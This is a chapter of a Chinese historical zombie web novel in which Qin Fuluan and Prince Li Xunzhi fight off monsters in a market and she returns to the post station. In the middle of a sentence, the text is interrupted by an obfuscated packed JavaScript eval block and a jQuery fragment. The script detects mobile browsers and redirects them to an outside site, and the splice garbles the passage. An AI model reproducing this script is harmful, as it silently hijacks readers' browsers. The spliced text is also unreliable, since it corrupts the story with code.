11. 第 11 章
作品:《出青天(丧尸)》 秦扶鸾还没来得及说话,斜刺里突然奔出来一个双眼赤红、张牙舞爪的怪物,直直地朝她扑来。
秦扶鸾稳住心神,一手扯住缰绳护住身下白马,另一只手攒足力气挥舞长刀朝那怪物劈去。
这一劈多少带了点泄愤的意味,就听“刺啦”一声,血肉横飞,那怪物竟被劈作了两截,内脏肠子流了一地。
秦扶鸾吓了一跳,当下手腕便有些酸软,可知道李巽之在看,她只能绷紧身体,面上故作沉静,甚至带着几分挑衅之色回头望过去。
李巽之瞥了她一眼,并不多言,一抖手中缰绳,下一瞬,竟直接纵马冲进了那些朝他们涌来的怪物堆里。
数十个怪物一瞬间扑了上去,将他连人带马团团围住,如同数十条饥肠辘辘的野狼在围剿落入巢穴的猎物。
秦扶鸾瞪大双眼,一时间竟不知道该如何反应。
这人当真勇悍如斯!
就见李巽之单人单骑,虽身陷敌阵,却面不改色,他出手又快又狠,那杆精钢铸就的长枪少说也有六七十斤,李巽之舞起来竟有一种轻灵之感,枪头闪着寒光,迅如闪电,一收一放之间,鲜血浇就的殷红鲜花渐次在那些怪物的胸膛上绽开,不消片刻,已有十几个怪物横尸马下。
如此剽悍战力,让秦扶鸾心下稍安,又想起对方刚才那句“待会儿便要仰仗王妃了”,咂摸出了一丝讽刺的味道。
秦扶鸾心中不快,冷眼看着那边战况,忽听身后那条街巷里传来一阵隐隐约约的尖叫声和嘶吼声。
她心里一沉,转头去看。
长街尽头扬起尘土,一片黑压压的人头正朝这边逼近。
他们身后竟然还有怪物!这疫情传播速度竟如斯恐怖!
也不知这顿丘县内的其他地方情况如何,在馆驿的青禾青苗还有杜文宪和冯简他们又是何种处境。
必须要尽快想办法脱身才行。
秦扶鸾面色焦急地左右环顾一圈。
他们二人现身处一个露天市集,对面是一堵高耸的土墙,两侧有小巷连接,身后则是一条狭长街道,地形状如漏斗。现在前方围着一大群怪物,身后退路也被怪物堵住,他们被困在这个漏斗中间,要想出去,除非有飞天遁地的本事。
她暗叫不好,李巽之虽战力非凡,但若是困在这样狭小的地形里被这么多怪物团团围住,他们二人也必不可能全身而退。
生死当头,秦扶鸾顾不得两人之间的嫌隙,高喝一声,纵马奔到李巽之身边,横竖几刀砍翻几个围在他身边的怪物。
李巽之察觉到身后有马蹄声在靠近,只当是秦扶鸾看到四面八方涌过来的怪物后心生畏惧来寻求庇护,他轻扯嘴角,并没有回头,手中长枪利落地挑翻了几个朝这边靠近的怪物,下一瞬,却敏锐地察觉到一丝不同寻常。
“不要动。”
有温热的气息扑在他的脖颈上。
李巽之疑惑地回头去看,就见那秦氏女竟伸出一只手颤巍巍朝他扑了过来。
她满脸血污,连头发都被刚才那胖妇人的血浸成一绺一绺黏在额头上,身上那件早□□涸血液染成褐色的圆领团花縠纹袍散发着一股难闻的血腥味,更要命的是她说话时温热的气息黏在他的皮肤上,像是一只只小小的触手,让他浑身战栗不已。
李巽之心中大震,全身上下起了一层鸡皮疙瘩,整个人僵在那里不能动弹。
秦扶鸾双脚踩住马镫从马背上站起来,吃力地去够李巽之挂在战马上的那只箭囊,但奈何她身下这匹白马平日娇惯,被围困在这么多面目狰狞的怪物中间一时吓破了胆,漂亮修长的四蹄焦躁不安地踩着小碎步,连带着马背上的秦扶鸾也站立不稳,只好一手搭住李巽之的肩膀,费了一番力气这才够到了那只箭囊。
有了弓箭,凭她的弓马功夫至少也能给李巽之拖上一段时间。
秦扶鸾还没来得及高兴。
李巽之忽用力一扯缰绳,将她的手狠狠地甩了下去。
秦扶鸾一个趔趄,差点摔下马,等她手忙脚乱地坐稳身体,抬头去看,直直对上了李巽之嫌弃厌恶的眼神。
他端坐马上,面色冷凝,身体绷得很紧,冰冷的目光落在她的身上,宛如一把刮骨剔肉的利刃。
秦扶鸾生于幽州长于幽州,是秦猛的掌中珠、心头肉,哪曾受过半分委屈?她只觉方才勉强压下去的那股怒气蓦地从后脑勺猛蹿了上来,一时脑热,从箭囊里取出那张金涂弓,想也没想,恶狠狠地反手朝李巽之击去。
李巽之没反应过来,竟被秦扶鸾打了个正着,直到额头上传来一阵剧烈疼痛,他瞳孔微微睁大,似乎不敢相信刚才发生了什么。
这个小小的节度使之女,竟然敢……打他?
他又惊又怒,抬头去看。
那女子竟然冲他微微一笑,嘴里道:“手抖,对不住,九弟。”
李巽之眼中戾气暴涨,他盯着那张巧笑倩兮的脸,简直想用手中长枪给眼前这个不知死活的女人捅个对穿,可眼前这人偏偏不是别人,她是他兄长未过门的妻子,也是关系到中央朝廷和幽州重镇未来局势的重要人物。
他可以对旁人喊打喊杀,却不能对眼前这个小小女子做些什么,哪怕她实在可恶至极。
李巽之黑着一张脸,硬生生忍下那口气,那只摧碑裂石的铁手紧紧握着长枪,几乎要生生攥出一个烙印来。
秦扶鸾见他忍气吞声,不禁心情大好,她收回视线,低头打量手中那张沉甸甸的金涂弓,这弓虽是金漆涂就,却丝毫不显张扬,打眼一看,似有一股悍然杀气,弓身上沾着一点鲜血,看起来格外刺眼。
血?哪里来的血?
秦扶鸾的心猛然一跳,强装镇定地回头去看。
两个怪物直直地朝他们这边扑过来。
李巽之运足臂力,拧腰送枪,力道之大,直接将那两个怪物一齐贯穿,怪物嘴里涌出大股大股的鲜血,如同两只没有任何反抗能力的野兔被他串在了那杆银枪上,李巽之手中长枪一振,那两个已经气绝的怪物被挑飞出几丈开外。
察觉到她在看,李巽之一脸阴沉地回头看过来,他额头上豁开一个口子,一道鲜血顺着那张俊美阴郁的脸淌下来,看起来有种如泣如诉的美感。
秦扶鸾抿了抿唇,冲他挤出一个勉强的笑来。
不知怎的,后知后觉想起这人“杀神”的恶名,她的不满和怒火像是泄了洪的湖水,连一丝波澜也不敢有了。
秦扶鸾有些心虚地收回视线,飞快地拭去那一点血迹。
谁知道这弓竟然这么沉,她本来只是想稍作回敬,没想到竟然见血了。
那道锐利的目光如芒在背,秦扶鸾深吸一口气,摈弃一切杂思,目光沉静地望向长街那边朝他们涌过来的怪物。
黄土飞扬,怪物们敞开血盆大口,口中发出兴奋的咆哮声,发了狂似的朝这边疾奔而来。
秦扶鸾挟矢正筈,活动手指,勾住弓弦,瞄准了跑在最前面的那只怪物的额心。
她的弓马功夫是从小跟在秦猛身边历练出来的,不说是贯虱穿杨,那也能称得上箭无虚发。
待会儿等那位目中无人的靖王殿下见识到了她精湛的射艺,方才知道他那句“仰仗她”绝对不是虚言。
秦扶鸾嘴角微扬,勾住弓弦的手指用力一拉,却没拉动。
她脑中一空,低头看了一眼手中的金涂弓,不敢相信,沉气再去拉,那弓弦依旧纹丝不动。
怎么回事?
秦扶鸾意识地回头去看李巽之。
李巽之恰好也在看她,那冰冷的目光里,说不出是愤怒还是嘲讽,却唯独没有意外。
很明显,他早猜到了她拉不开这张弓。
秦扶鸾恨恨地咬牙,放下手中的金涂弓。
她从小在阿耶的校武场上厮混,长到如今一十七岁,虽没习得什么绝世武艺,但身强体壮,气力远超寻常女子,就是寻常男子也未必是她对手。
可她却忘了李巽之并不是寻常男子。
昔者有飞将军李广射虎入石、没金铩羽。本朝太宗皇帝更是能挽两米之长弓,发四羽之长簇。李巽之这样的悍将,他所配的定不是普通强弓。
秦扶鸾感到了一种真切的恐惧,额头冒出一层热汗,没有弓箭,若只用长刀和那些怪物近身厮杀,她怕是坚持不了多久。
必须要想别的法子才行。
她目光急切地搜寻了一圈,发现周围全是小商贩用竹木临时支起来的布篷,地上散落了很多被踩烂的蔬果和装家禽的竹笼,刚才混乱发生时那些商贩没来得及收走这些货物。
明明没有一丝风,可那些支起来的篷布却在微微鼓动,沉重又杂乱的脚步声正在极速逼近,仿佛一群鬼兵压境,让人胆寒。
秦扶鸾急得如热锅上的蚂蚁,呼吸也变得急促起来,她深吸一口气,强迫自己冷静思考。
一定有办法可以解决眼前困境。
阿耶教过她的,投之亡地然后存,陷入死地然后生。
任何绝境,都有一线生机。
鼻尖已经闻到了那种熟悉的血腥味道。
秦扶鸾定定地望着不远处那些怪物嘴里流下来的血色涎液。
脑中白光倏然一闪。
有了!
她攥紧手中长刀,深吸一口气,滚下马去,朝着一处狂奔而去。
李巽之眼角余光瞥见秦扶鸾的动作,握着长枪的手骤然一紧。
这秦氏女疯了吗?下马做什么?
他正欲催马上前为她解围,却见秦扶鸾一把拎起两个圆滚滚的东西,利落地砍翻两个朝她扑过去的怪物,手脚并用地爬上街边林立的布篷。
李巽之一愣,勒马停在远处。
那些商贩搭建的布篷虽不甚高,但离地面也有一人多高的距离,她躲在上面不发出声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068826|195189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音,应该暂时安全。
李巽之收回视线,冰冷的眸光扫过周围朝他涌来的怪物。
眼前这些怪物虽然棘手,却还伤不了他,不过那秦氏女却实实在在是一个累赘,若是她在他身边,他要分心护着她,出手也难免有所顾忌。现在她自己乖觉,爬到高处避难,倒也不劳他去操心她的死活。
李巽之手中长枪几乎舞出残影,无数断肢残骸在他马下几乎堆成了一座小山,内脏肠子流了一地,空气中那浓重的血腥味让人作呕。
他杀得性起,忽听到头顶有人喊了一声。
“接着!”
李巽之脑子还没来得及思考,身体已经先一步做出反应,他伸手一捞,稳稳接住了秦扶鸾扔过来的东西。
低头一看,却是一块脏布包着一块石头。
这是什么?
他忍着扔掉的冲动抬头去看。
秦扶鸾整个人缩成一团蹲在布篷上面,如同一只灵巧的小猫,她嘴边衔着一柄嵌满珠宝的匕首,宝石在日光下散发着灼灼华彩,将她那双美丽的瞳孔映衬得如恍如星子般璀璨。
秦扶鸾将几张篷布割开又系在一起,像一张大大的旗帜,她把篷布一角裹住石头扔给李巽之,另一角则握在她自己手中。
见李巽之抬头看过来,她立刻冲他使眼色。
李巽之还没反应过来。
忽起了一阵风,将两人手中的篷布吹展,挡住了头顶的日光。
秦扶鸾面色一喜。
就是现在!
她转身掏出两个竹笼,打开笼子,放出里面的两只野雉,直接朝那些怪物头顶扔去。
活物发出的动静瞬间吸引了下面的怪物,它们目露兴奋,扭头朝这边猛扑过来。
两只野雉受到惊吓,拼命扑腾着翅膀,在怪物头顶跳来跳去。怪物们挤在一起,伸出手臂,扬起血淋淋的脑袋,拼命地去够那两只野雉。
秦扶鸾冲李巽之吹了一个响亮的呼哨,攥住手中的篷布,半蹲着身体,踩着摇摇晃晃的布篷朝前方奔去。
李巽之会意,纵马跟随着她的步伐。
两人扯着手中篷布,一上一下,将一大群怪物全都拢在了这张大大的篷布里。
秦扶鸾站在布篷上,听到怪物们的吼叫声从那张篷布底下传来,她嘴角微微勾起,扯下一截衣袖,从怀中掏出火镰和燧石,利落地点火,用火绒点燃衣袖,用力一抛,落在那张篷布上。
一瞬间火光大盛。
篷布底下的怪物挤在一起挣扎着,头发和身上的衣物被烈焰灼烧,又被同伴踩踏,发出痛苦且愤怒的嚎叫声。
秦扶鸾从街边的布篷上跳下来,拍拍手上浮尘,冲马上的李巽之抬了抬下巴。
李巽之的目光落在她带着得意之色的脸上,顿了一下,很快,面无波澜地移开视线。
篷布和烈火并不能将这些怪物杀死,却能挡住它们的视野,大大削弱它们的行动能力。
两人隔着燃烧的篷布,横劈竖砍,将下面的那些怪物砍得稀烂,腥臭的血液将脚下的黄土染得通红。
状如漏斗的地形让两人难以脱身,却也让这些怪物挤在一处不能动弹,任凭两人刀枪落在身上,毫无还手之力。
两人将周围的怪物差不多杀了个干净。
长街那边突然传来一阵急促的马蹄声。
“殿下!”
两人回头去看。
却是崔尚带领着李巽之的部下朝这边疾驰而来。
秦扶鸾眼睛一亮,见有人来处理残局,她转头看了李巽之一眼,随即掉转马头,纵马朝馆驿的方向奔去。
李巽之眉头微皱,也没有开口去拦,而是回头望向崔尚。
崔尚点头,立刻催马跟上秦扶鸾。
两人一路疾驰。
馆驿所处的区域离县丞家有段距离,故而此处暂时风平浪静,大街小巷不见半个人影。
想是收到了县令的指示,此刻馆驿的大门紧闭。
见没有任何打斗的迹象,也没听到馆驿里面传来尖叫声,秦扶鸾心下稍安,急忙上前拍门。
听到她的声音,守在门后的驿长忙命人开门。
秦扶鸾刚踏进门,尚未来得及询问驿长几句。
就见长廊那边,青禾面色急切地迎了上来,见到秦扶鸾满脸血污,她愣了一下:“殿下,你……”
“无妨,不是我的血。”秦扶鸾摆摆手,止住她的话,语气关切地问:“你们可安好?”
“奴婢等一切安好,杜副使刚刚遣人过来,说他暂时留在县衙,还嘱咐奴婢等关上门窗不要外出。”
秦扶鸾的一颗心总算放进了肚子里,忽瞥见青禾手中似乎攥着一卷信纸,有些疑惑:“这是?”
青禾闻言抬起头,先是扫了一眼跟在秦扶鸾身后的崔尚,随即凑到她耳边,低声道:
“殿下,是叶将军的急函。”

